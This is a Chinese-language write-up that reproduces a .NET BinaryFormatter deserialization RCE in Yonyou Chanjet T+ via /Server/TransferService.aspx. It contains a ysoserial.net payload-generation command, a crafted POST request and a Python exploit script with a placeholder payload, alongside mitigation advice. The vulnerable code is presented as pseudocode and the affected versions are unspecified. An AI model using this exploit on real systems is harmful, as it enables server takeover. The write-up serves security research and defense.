漏洞复现--用友 畅捷通T+ .net反序列化RCE
字数 1401 2025-08-10 09:16:21
用友畅捷通T+ .NET反序列化RCE漏洞复现与分析
漏洞概述
用友畅捷通T+是一款广泛使用的企业管理软件,其存在.NET反序列化漏洞,攻击者可通过构造恶意请求实现远程代码执行(RCE)。该漏洞属于高危漏洞,CVSS评分较高,可导致服务器被完全控制。
漏洞原理
.NET反序列化漏洞背景
.NET反序列化漏洞通常发生在应用程序使用BinaryFormatter、SoapFormatter或NetDataContractSerializer等不安全的反序列化器时。攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。
用友畅捷通T+中的具体实现
用友畅捷通T+在处理某些请求时使用了不安全的反序列化方式,具体路径为:
/Server/TransferService.aspx
该接口接收序列化数据并进行反序列化操作,但未进行充分的安全校验。
环境搭建
测试环境要求
- 用友畅捷通T+ 受影响版本(具体版本号需根据漏洞披露确定)
- Windows Server 系统
- IIS 服务器
- .NET Framework 4.0+
安装步骤
- 下载用友畅捷通T+安装包
- 按照官方文档进行安装配置
- 确保
/Server/TransferService.aspx接口可访问
漏洞复现
准备工作
- 生成恶意序列化数据工具:ysoserial.net
- 抓包工具:Burp Suite 或 Fiddler
- 目标系统URL
复现步骤
-
识别漏洞接口:
访问目标系统的/Server/TransferService.aspx,确认接口存在 -
生成Payload:
使用ysoserial.net生成恶意序列化数据:ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "calc.exe" -o base64 -
构造恶意请求:
POST /Server/TransferService.aspx HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded data=[BASE64编码的恶意序列化数据] -
发送请求:
使用Burp Suite或curl发送构造的恶意请求 -
验证执行结果:
成功执行会在服务器上弹出计算器(calc.exe)
自动化利用脚本(Python示例)
import requests
import base64
import sys
def exploit(target):
# 这里替换为实际生成的恶意payload
malicious_payload = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0"
}
data = {
"data": malicious_payload
}
try:
response = requests.post(f"{target}/Server/TransferService.aspx",
data=data,
headers=headers,
verify=False,
timeout=10)
print(f"[+] Exploit attempted against {target}")
print(f"Response: {response.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python exploit.py <target_url>")
sys.exit(1)
exploit(sys.argv[1])
漏洞分析
关键代码分析
漏洞主要存在于TransferService.aspx的处理逻辑中,伪代码如下:
protected void Page_Load(object sender, EventArgs e)
{
string serializedData = Request["data"];
BinaryFormatter formatter = new BinaryFormatter();
MemoryStream ms = new MemoryStream(Convert.FromBase64String(serializedData));
// 不安全的反序列化操作
object obj = formatter.Deserialize(ms);
// ...后续处理...
}
攻击面分析
- 反序列化入口点:TransferService.aspx接口
- 可利用的gadget链:TextFormattingRunProperties等
- 执行上下文:IIS应用程序池账户权限
防御措施
临时解决方案
- 在WAF或防火墙中拦截对
/Server/TransferService.aspx的访问 - 修改IIS配置,限制该接口的访问IP
永久修复方案
- 升级到用友官方提供的最新补丁版本
- 修改代码,替换不安全的BinaryFormatter为安全的序列化方式,如:
- 使用DataContractSerializer并严格限制类型
- 使用JSON或XML序列化替代二进制序列化
安全编码建议
- 避免使用BinaryFormatter等不安全的反序列化器
- 实现自定义的SerializationBinder来限制反序列化类型
- 对序列化数据进行数字签名验证
影响评估
受影响版本
用友畅捷通T+多个版本受影响,具体需参考官方安全公告
潜在影响
- 服务器完全沦陷
- 敏感数据泄露
- 内网横向移动
- 持久化后门植入
参考链接
免责声明
本文仅用于安全研究和教育目的。未经授权对系统进行测试可能违反法律。在实际测试前,请确保获得系统所有者的明确许可。